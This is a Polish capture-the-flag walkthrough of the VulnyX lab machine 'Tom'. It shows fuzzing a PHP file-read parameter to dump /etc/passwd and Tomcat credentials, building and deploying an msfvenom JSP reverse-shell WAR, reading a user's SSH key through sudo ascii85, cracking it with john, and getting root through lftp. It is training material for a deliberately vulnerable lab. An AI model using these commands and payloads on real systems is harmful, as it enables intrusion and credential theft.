Tom by D4t4s3c

Write-up is in Polish language.

00. Metainfo

Nazwa: Tom
Autor: D4t4s3c
Wypuszczony: 2021-10-15
Do ściągnięcia: vulnyx
Poziom: Łatwy
System: Linux
Nauczysz się: Fuzzing, Tomcat, Kryptografia

Tomcat

01. Wstęp

Chciałem się nauczyć obsługi Tomcata, ale nigdy nie miałem takiej prawdziwej okazji. Zainstalowałem go parę razy, żeby zobaczyć co to jest, ale długo się nim nie bawiłem. Tym razem, żeby złamać maszynę, musiałem Tomcata bardziej poznać. Badając go powinienem zacząć od tej strony, bo parę razy za mocno zamotałem. Bywało, że tak namotałem, że nie mogłem wejść na stronę wirtualki i musiałem ją od nowa instalować. Jak się domyślacie, głównym tematem będzie dzisiaj Tomcat.

02. Skanowanie

msf6 exploit(multi/handler) > db_nmap -A -p- 172.16.1.214
[*] Nmap: Starting Nmap 7.91 ( https://nmap.org ) at 2021-10-15 22:02 CEST
[*] Nmap: Nmap scan report for wordy (172.16.1.214)
[*] Nmap: Host is up (0.00042s latency).
[*] Nmap: Not shown: 65532 closed ports
[*] Nmap: PORT     STATE SERVICE    VERSION
[*] Nmap: 22/tcp   open  ssh        OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
[*] Nmap: | ssh-hostkey:
[*] Nmap: |   2048 55:5f:3f:15:c7:cb:5f:09:d6:a1:f5:70:06:d0:dd:bc (RSA)
[*] Nmap: |   256 ec:db:41:19:b8:60:bc:53:6f:c7:ef:c6:d3:ee:b9:b8 (ECDSA)
[*] Nmap: |_  256 2e:0d:03:27:a5:2a:0b:4e:b0:6a:42:01:57:fd:a9:9f (ED25519)
[*] Nmap: 80/tcp   open  http       Apache httpd 2.4.38 ((Debian))
[*] Nmap: |_http-server-header: Apache/2.4.38 (Debian)
[*] Nmap: |_http-title: Apache2 Debian Default Page: It works
[*] Nmap: 8080/tcp open  tcpwrapped
[*] Nmap: MAC Address: 4A:F0:08:14:75:33 (Unknown)
[*] Nmap: Device type: general purpose
[*] Nmap: Running: Linux 4.X|5.X
[*] Nmap: OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
[*] Nmap: OS details: Linux 4.15 - 5.6
[*] Nmap: Network Distance: 1 hop
[*] Nmap: Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
[*] Nmap: TRACEROUTE
[*] Nmap: HOP RTT     ADDRESS
[*] Nmap: 1   0.42 ms wordy (172.16.1.214)
[*] Nmap: OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
[*] Nmap: Nmap done: 1 IP address (1 host up) scanned in 15.26 seconds
msf6 exploit(multi/handler) > services
Services
========

host          port  proto  name        state  info
----          ----  -----  ----        -----  ----
172.16.1.214  22    tcp    ssh         open   OpenSSH 7.9p1 Debian 10+deb10u2 protocol 2.0
172.16.1.214  80    tcp    http        open   Apache httpd 2.4.38 (Debian)
172.16.1.214  8080  tcp    tcpwrapped  open

msf6 exploit(multi/handler) >

Trzy otwarte porty 22, 80 i 8080. Port 8080 już nam sugerują, że to może być Tomcat. Zacznijmy jednak od portu o numerze 80:

03 WWW na porcie nr 80

Podczas skanowania widzimy plik http://172.16.1.214/tomcat.php i parę katalogów. Ja do celów pokazowych przerwałem wcześniej skanowanie, Feroxbuster ma też tę zaletę, że jeżeli program wejdzie wam do zbyt dużej ilości katalogów, których nie chcemy żeby nie skanował, to możemy je zatrzymać.

#root@kali:/home/szikers/tom# feroxbuster -w /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt -u http://172.16.1.214 -x txt,php

 ___  ___  __   __     __      __         __   ___
|__  |__  |__) |__) | /  `    /  \ \_/ | |  \ |__
|    |___ |  \ |  \ | \__,    \__/ / \ | |__/ |___
by Ben "epi" Risher 🤓                 ver: 2.3.3
───────────────────────────┬──────────────────────
 🎯  Target Url            │ http://172.16.1.214
 🚀  Threads               │ 50
 📖  Wordlist              │ /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt
 👌  Status Codes          │ [200, 204, 301, 302, 307, 308, 401, 403, 405, 500]
 💥  Timeout (secs)        │ 7
 🦡  User-Agent            │ feroxbuster/2.3.3
 💉  Config File           │ /etc/feroxbuster/ferox-config.toml
 💲  Extensions            │ [txt, php]
 🔃  Recursion Depth       │ 4
───────────────────────────┴──────────────────────
 🏁  Press [ENTER] to use the Scan Cancel Menu™
──────────────────────────────────────────────────
301        9l       28w      317c http://172.16.1.214/javascript
200        0l        0w        0c http://172.16.1.214/tomcat.php
🚨 Caught ctrl+c 🚨 saving scan state to ferox-http_172_16_1_214-1634328605.state ...
[#>------------------] - 12s    93862/1245768 2m      found:2       errors:0
[#>------------------] - 12s    48462/622884  3869/s  http://172.16.1.214
[#>------------------] - 12s    45288/622884  3729/s  http://172.16.1.214/javascript

Wracając do pliku tomcat.php. Z doświadczenia zakładałem, że kod PHP się wykona wyświetlając jakieś pliki. Jeżeli by tak nie było, trzeba byłoby szukać dalej co robi tomcat.php. Na nasze szczęście jest, jak się domyśliłem, a o tym się przekonamy fuzzując http://172.16.1.214/tomcat.php dodając w parametrze jakiś istniejący katalog. Ogólnie do takich rzeczy polecam słownik /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt. Jest trochę duży, ale skanowanie szybko idzie.

# root@kali:/home/szikers/tom#  ffuf -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt -u http://172.16.1.214/tomcat.php?FUZZ=/etc/hosts -fs 0

        /'___\  /'___\           /'___\
       /\ \__/ /\ \__/  __  __  /\ \__/
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
         \ \_\   \ \_\  \ \____/  \ \_\
          \/_/    \/_/   \/___/    \/_/

       v1.3.1 Kali Exclusive <3
________________________________________________

 :: Method           : GET
 :: URL              : http://172.16.1.214/tomcat.php?FUZZ=/etc/hosts
 :: Wordlist         : FUZZ: /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200,204,301,302,307,401,403,405
 :: Filter           : Response size: 0
________________________________________________

filez                   [Status: 200, Size: 183, Words: 19, Lines: 8]
:: Progress: [220547/220547] :: Job [1/1] :: 4409 req/sec :: Duration: [0:00:53] :: Errors: 0 ::

Szukanym słowem było filez. Teraz możemy zobaczyć parę rzeczy, np. kto jest w systemie:

# root@kali:/home/szikers/tom# curl -O http://172.16.1.214/tomcat.php?filez=/etc/passwd
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100  1441  100  1441    0     0  1407k      0 --:--:-- --:--:-- --:--:-- 1407k
# root@kali:/home/szikers/tom# cat passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
systemd-timesync:x:101:102:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
systemd-network:x:102:103:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:103:104:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:104:110::/nonexistent:/usr/sbin/nologin
sshd:x:105:65534::/run/sshd:/usr/sbin/nologin
nathan:x:1000:1000:nathan,,,:/home/nathan:/bin/bash
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
tomcat:x:1001:1001::/opt/tomcat:/bin/false

Widzimy dwie ważne informacje. Jest użytkownik nathan i katalog zainstalowanego Tomcata znajduje się pradopodobnie w /opt/tomcat. Szukając w Internecie i trochę pamiętając o pewnym pliku tomcat-users.xml, w którym to było zazwyczaj hasło i nazwa użytkownika. Plik znajdował się w katalogu conf. Jednak komenda curl http://172.16.1.214/tomcat.php?filez=/opt/tomcat/conf/tomcat-users.xml nic ciekawego nie pokazała. Szukając po necie, okazało się, że jeszcze dodatkowo oprócz katalogu /opt/tomcat jest katalog latest. Tym razem zadziałało, ale tylko z konsolowym Curlem. Przeglądarka chyba blokuje pliki .xml(?)

04. Zabawa W Tomka i myszkę

Poniższy config prawie tak wygląda jak w oryginale. Jednak zamazałem login i hasło, żeby nie było tak łatwo :smiley:

# curl http://172.16.1.214/tomcat.php?filez=/opt/tomcat/latest/conf/tomcat-users.xml
<?xml version="1.0" encoding="UTF-8"?>
<!--
  Licensed to the Apache Software Foundation (ASF) under one or more
  contributor license agreements.  See the NOTICE file distributed with
  this work for additional information regarding copyright ownership.
  The ASF licenses this file to You under the Apache License, Version 2.0
  (the "License"); you may not use this file except in compliance with
  the License.  You may obtain a copy of
 the License at

      http://www.apache.org/licenses/LICENSE-2.0

  Unless required by applicable law or agreed to in writing, software
  distributed under the License is distributed on an "AS IS" BASIS,
  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
  See the License for the specific language governing permissions and
  limitations under the License.
-->
<tomcat-users xmlns="http://tomcat.apache.org/xml"
              xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
              xsi:schemaLocation="http://tomcat.apache.org/xml tomcat-users.xsd"
              version="1.0">
<!--
  By default, no user is included in the "manager-gui" role required
  to operate the "/manager/html" web application.  If you wish to use this app,
  you must define such a user - the username and password are arbitrary.

  Built-in Tomcat manager roles:
    - manager-gui    - allows access to the HTML GUI and the status pages
    - manager-script - allows access to the HTTP API and the status pages
    - manager-jmx    - allows access to the JMX proxy and the status pages
    - manager-status - allows access to the status pages only

  The users below are wrapped in a comment and are therefore ignored. If you
  wish to configure one or more of these users for use with the manager web
  application, do not forget to remove the <!.. ..> that surrounds them. You
  will also need to set the passwords to something appropriate.
-->
<!--
  <user username="admin" password="<must-be-changed>" roles="manager-gui"/>
  <user username="robot" password="<must-be-changed>" roles="manager-script"/>
-->
<!--
  The sample user and role entries below are intended for use with the
  examples web application. They are wrapped in a comment and thus are ignored
  when reading this file. If you wish to configure these users for use with the
  examples web application, do not forget to remove the <!.. ..> that surrounds
  them. You will also need to set the passwords to something appropriate.
-->
<!--
  <role rolename="tomcat"/>
  <role rolename="role1"/>
  <user username="tomcat" password="<must-be-changed>" roles="tomcat"/>
  <user username="both" password="<must-be-changed>" roles="tomcat,role1"/>
  <user username="role1" password="<must-be-changed>" roles="role1"/>
-->
<role rolename="admin-gui"/>
<role rolename="manager-script"/>
<user username="------deleted from me------------------
</tomcat-users>

Jako ważną rzecz podam, że mimo iż mamy login i hasło, to nie wszędzie można się zalogować przez GUI. Nie działa Manager App, a to jest potrzebne, żebyśmy mogli wrzucić nasz payload. Mając login i hasło możemy się zalogować na Host manager, ale to nam dużo nie pomoże.

Tomcat2

Na szczęście są inne sposoby na wrzucenie ładunku, żeby się dostać na konsolę. Poniższe linki działają, jeżeli się zalogujesz przez przeglądarkę na stronę http://172.16.1.214:8080

to co działa

http://172.16.1.214:8080/manager/text/list http://172.16.1.214:8080/manager/text/serverinfo http://172.16.1.214:8080/manager/text/vminfo

A jeżeli to działa, to powinno też działać wrzucanie aplikacji poprzez np Curla

# msfvenom -p java/jsp_shell_reverse_tcp LHOST=172.16.1.10 LPORT=4444 -f war -o revshell.war
# curl --upload-file revshell.war -u 'login:pass' "http://172.16.1.214:8080/manager/text/deploy?path=/revshell"

Żeby to wszystko zadziałało, należy uruchomić nasz program .war, wchodząc na stronę http://172.16.1.214:8080/revshell/.

W Metasploicie zaś stwórzmy “payload” i nasłuchujmy czy jest połączenie:

msf6 > use multi/handler
[*] Using configured payload linux/x86/meterpreter/bind_tcp
msf6 exploit(multi/handler) > set payload java/jsp_shell_reverse_tcp
payload => java/jsp_shell_reverse_tcp
msf6 exploit(multi/handler) > set lport 4444
lport => 4444
msf6 exploit(multi/handler) > run -j
[*] Exploit running as background job 17.
[*] Exploit completed, but no session was created.

[*] Started reverse TCP handler on 172.16.1.10:4444
msf6 exploit(multi/handler) >
msf6 exploit(multi/handler) > sessions
  17  Exploit: multi/handler  java/jsp_shell_reverse_tcp  tcp://172.16.1.10:4444

msf6 exploit(multi/handler) > set [*] Command shell session 17 opened (172.16.1.10:4444 -> 172.16.1.214:59198) at 2021-10-15 23:12:14 +0200

msf6 exploit(multi/handler) > sessions

Active sessions
===============

  Id  Name  Type              Information  Connection
  --  ----  ----              -----------  ----------
  17        shell java/linux               172.16.1.10:4444 -> 172.16.1.214:59198 (172.16.1.214)

05. Shell i z górki

Sprawdzając Sudo widzimy, że nathan może uruchomić /usr/bin/ascii85. Ascii85 jest to program napisany w Ruby, który konwertuje na i z formatu Ascii85. Ale jak przejść dalej? Trochę siedziałem przy tym, ale nakierował mnie Nullvector.

# tomcat@tom:/$ sudo -l
sudo -l
Matching Defaults entries for tomcat on tom:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User tomcat may run the following commands on tom:
    (nathan) NOPASSWD: /usr/bin/ascii85

Prosta sprawa i dosyć popularna w tych podatnych maszynach, aż dziwię się, że mogłem zapomnieć. Mając uprawnienia Nathana, możemy skopiować jego prywatny klucz id_rsa. Oczywiście Ascii85 nam to zakoduje, ale przez podaną wcześniej stronę możemy to ładnie rozkodować:

# tomcat@tom:/$ sudo -u nathan /usr/bin/ascii85 /home/nathan/.ssh/id_rsa
sudo -u nathan /usr/bin/ascii85 /home/nathan/.ssh/id_rsa
<~/M/P+/ODlr8PUC+;aDO&;FsnT<(.p&79M2o/M/O]:i^Ja/Q@"7ANCqj/4E<$;HZgq777JN78#4(DJ!
fJ+@JXs/O`&r1G(s\6S()K2DmEN2*!EG68phj1c5UIE+3<K@QA(GE'\/<7S[Z50i^&,2cE@"=)M,TBfJ
sZ<G4*A92.*Y9K6!RATMU".qMURChlRa=[I:KD)ZK,$;!$4FYH?iG'J1%;bor/2`XH/1.bD[AO9Bc=#*
...........
...........

"u6n:Y]1,_mR:,mK;C.1%%H?iOe:Ll4ZAO1?=8M=Rf8o\Q=<sh<21,;4#=CHD`ASu0\2d/Rp1.sEK8kC
OEC.pKuAi!t?0lKc::,k%LCL]e&FAahi@q0%m;FY8E2GljqCH)Z>C2IWm=Yr*-G:Q3UD`))d=aEn^>$#
RtCf#@U@rZ[0CLT%pBf/=h85!&U<)>PO:,6]B6UG9C0M64X12^3'7r;+<8P=.a:,[Dg@;g:%$8!h]/M0
Cd6m,B+5p0!%8QJ,V73G5l=Y23W/M.;~>tomcat@tom:/$

06. Te krypto

Klucz wrzucamy do siebie na serwer. Do rozkodowania naszego klucza przyda się strona. Potem go jeszcze trzeba złamać. Łamanie Johnem Pójdzie dosyć szybko. klucz możemy rozkodować, albo od razu się połączyć na konsolę. Z przyzwyczajenie złammy go :smiley:

# ssh2john.py id_rsa.enc > id_rsa.hash
# john id_rsa.hash
Using default input encoding: UTF-8
Loaded 1 password hash (SSH [RSA/DSA/EC/OPENSSH (SSH private keys) 32/64])
Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 1 for all loaded hashes
Cost 2 (iteration count) is 2 for all loaded hashes
Will run 4 OpenMP threads
Note: This format may emit false positives, so it will keep trying even after
finding a possible candidate.
Proceeding with single, rules:Single
Press 'q' or Ctrl-C to abort, almost any other key for status
Warning: Only 2 candidates buffered for the current salt, minimum 8 needed for performance.
Warning: Only 5 candidates buffered for the current salt, minimum 8 needed for performance.
Warning: Only 2 candidates buffered for the current salt, minimum 8 needed for performance.
Warning: Only 7 candidates buffered for the current salt, minimum 8 needed for performance.
Almost done: Processing the remaining buffered candidate passwords, if any.
Proceeding with wordlist:/usr/share/john/password.lst, rules:Wordlist
...

John znalazł hasło, więc się go pozbądźmy:

# openssl rsa -in id_rsa.enc -out id_rsa

07. Na dziś kończymy

Koniec bez komentarza, wszystko widać jak na dłoni.

# ssh -i id_rsa nathan@172.16.1.214
# nathan@tom:~$ sudo -l
Matching Defaults entries for nathan on tom:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User nathan may run the following commands on tom:
    (root) NOPASSWD: /usr/bin/lftp
# nathan@tom:~$ sudo /usr/bin/lftp
lftp :~> !bash
# root@tom:/home/nathan# id
uid=0(root) gid=0(root) grupos=0(root)

Jeżeli podobał się wpis, znalazłeś w nim jakiś błąd, lub uważasz, że coś jest do poprawy, napisz mejla na kerszi@protonmail.com.

Zostaw komentarz